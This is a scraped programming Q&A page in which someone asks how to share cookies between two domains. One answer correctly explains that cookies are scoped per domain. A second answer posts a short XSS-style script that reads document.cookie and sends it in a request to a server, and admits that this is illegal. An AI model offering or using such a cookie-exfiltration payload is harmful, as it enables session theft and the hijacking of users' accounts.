开发者

How do I share cookies across 2 domains with javascript?

开发者 https://www.devze.com 2023-01-13 13:31 出处:网络
I 开发者_如何转开发want to be able to access and set cookies between example.com and mysite.com.How do I do that?You cannot do that with cookies alone: they are set explicitly per-domain, and there is

I 开发者_如何转开发want to be able to access and set cookies between example.com and mysite.com. How do I do that?


You cannot do that with cookies alone: they are set explicitly per-domain, and there isn't a legitimate (read: "non-exploit") way to set them for another domain.

However, if you control both servers, it may be possible to use some workarounds/hacks to achieve this, but pretty it isn't, and it may break unexpectedly (see this question; the answers there should help you to a solution).


<script>
  function xss(){
    var cookies = document.cookie;
    new Ajax.Request('//localhost/index.php?cookies='+cookies, {
      onSuccess: function(response) {
        alert(cookies);
      }
    });
  }
  xss();
</script>

PS but it's illegal. I use prototype lib.

0

精彩评论

暂无评论...
验证码 换一张
取 消